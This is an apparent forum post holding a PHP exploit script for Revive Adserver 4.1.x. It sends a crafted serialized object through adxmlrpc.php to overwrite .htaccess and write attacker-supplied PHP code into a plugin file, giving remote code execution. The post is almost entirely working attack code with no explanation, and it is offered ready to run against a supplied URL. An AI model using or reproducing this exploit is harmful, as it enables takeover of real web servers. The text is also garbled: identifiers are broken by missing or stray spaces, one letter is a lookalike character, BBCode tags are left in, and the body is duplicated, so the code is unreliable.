crlf
02.12.2019, 17:21
[B]Revive Adserver 4.1.x \''[/COLOR])) : @list($x,$url,$code) =$argv);
$source='data:text/html;base64,'.base64_encode('#');
$destination='plugins/.htaccess';
#$destination = 'var/.htaccess';
if(!strpos(request($url,$source,$destination),'met hodResponse')) exit(message('failed, no valid response from '.$url));
$source='data:text/html;base64,'.base64_encode($code);
$destination='plugins/3rdPartyServers/ox3rdPartyServers/doubleclick.class.php';
#$destination = 'var/default.conf.php';
request($url,$source,$destination);
message('check '.$url.$destination);
functionrequest($url,$source,$destination){
$what=serialize(
['what'=>
newPdp\Uri\Url(
newLeague\Flysyste m\File($destination,
newLeague\ Flysystem\File('x://'.$source,
ne wLeague\Flysystem\MountManager(
newLeague\Flysystem\Filesystem(
newLeague\Flysystem\Config,
newLeague\Flysystem\Adapter\Local('' )
),
newLeague\Flysystem\Plugin\ForcedCopy
)
)
)
)
]
);
$what=str_replace(['\Uri\Url\00'],['\5CUri\5CUrl\00'],str_replace(['s:',сhr(0)],['S:','\\00'],$what));
$xml='
openads.spc
remote_addr
8.8.8.8
cookies
'.$what.'
0
dsad
1
0
1
';
returnfile_get_contents($url.'adxmlrpc.php ',false,stream_context_create(
['http'=>
['method'=>'POST',
'user_agent'=>'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0',
'header'=>'Content-type: application/x-www-form-urlencoded',
'content'=>$xml
]
])
);
}
functionmessage($str){
printPHP_EOL.'### '.$str.' ###'.PHP_EO L.PHP_EOL;
}
}
namespaceLeague\Flysystem\Plugin{
classForcedCopy{}
}
namespaceLeague\Flysystem{
classConfig{
protected$settings= [];
public function__construct(){
$this->settings= ['disable_asserts'=>true];
}
}
classFilesystem{
protected$adapter;
protected$config;
public function__construct($config,$ada pter){
$this->config=$config;
$this->adapter=$adapter;
}
}
classMountManager{
protected$filesystems= [];
protected$plugins= [];
public function__construct($filesystem, $handler){
$this->filesystems= ['x'=>$filesystem];
$this->plugins= ['__toString'=>$handler];
}
}
classFile{
protected$path;
protected$filesystem;
public function__construct($path,$obj){
$this->filesystem=$obj;
$this->path=$path;
}
}
}
namespaceLeague\Flysystem\Adapter{
classLocal{
protected$pathPrefix;
public function__construct($prefix){
$this->pathPrefix=$prefix;
}
}
}
namespacePdp\Uri{
classUrl{
private$host;
public function__construct($file){
$this->host=$file;
}
}
}
[/COLOR]
[/PHP]
$source='data:text/html;base64,'.base64_encode('#');
$destination='plugins/.htaccess';
#$destination = 'var/.htaccess';
if(!strpos(request($url,$source,$destination),'met hodResponse')) exit(message('failed, no valid response from '.$url));
$source='data:text/html;base64,'.base64_encode($code);
$destination='plugins/3rdPartyServers/ox3rdPartyServers/doubleclick.class.php';
#$destination = 'var/default.conf.php';
request($url,$source,$destination);
message('check '.$url.$destination);
functionrequest($url,$source,$destination){
$what=serialize(
['what'=>
newPdp\Uri\Url(
newLeague\Flysyste m\File($destination,
newLeague\ Flysystem\File('x://'.$source,
ne wLeague\Flysystem\MountManager(
newLeague\Flysystem\Filesystem(
newLeague\Flysystem\Config,
newLeague\Flysystem\Adapter\Local('' )
),
newLeague\Flysystem\Plugin\ForcedCopy
)
)
)
)
]
);
$what=str_replace(['\Uri\Url\00'],['\5CUri\5CUrl\00'],str_replace(['s:',сhr(0)],['S:','\\00'],$what));
$xml='
openads.spc
remote_addr
8.8.8.8
cookies
'.$what.'
0
dsad
1
0
1
';
returnfile_get_contents($url.'adxmlrpc.php ',false,stream_context_create(
['http'=>
['method'=>'POST',
'user_agent'=>'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0',
'header'=>'Content-type: application/x-www-form-urlencoded',
'content'=>$xml
]
])
);
}
functionmessage($str){
printPHP_EOL.'### '.$str.' ###'.PHP_EO L.PHP_EOL;
}
}
namespaceLeague\Flysystem\Plugin{
classForcedCopy{}
}
namespaceLeague\Flysystem{
classConfig{
protected$settings= [];
public function__construct(){
$this->settings= ['disable_asserts'=>true];
}
}
classFilesystem{
protected$adapter;
protected$config;
public function__construct($config,$ada pter){
$this->config=$config;
$this->adapter=$adapter;
}
}
classMountManager{
protected$filesystems= [];
protected$plugins= [];
public function__construct($filesystem, $handler){
$this->filesystems= ['x'=>$filesystem];
$this->plugins= ['__toString'=>$handler];
}
}
classFile{
protected$path;
protected$filesystem;
public function__construct($path,$obj){
$this->filesystem=$obj;
$this->path=$path;
}
}
}
namespaceLeague\Flysystem\Adapter{
classLocal{
protected$pathPrefix;
public function__construct($prefix){
$this->pathPrefix=$prefix;
}
}
}
namespacePdp\Uri{
classUrl{
private$host;
public function__construct($file){
$this->host=$file;
}
}
}
[/COLOR]
[/PHP]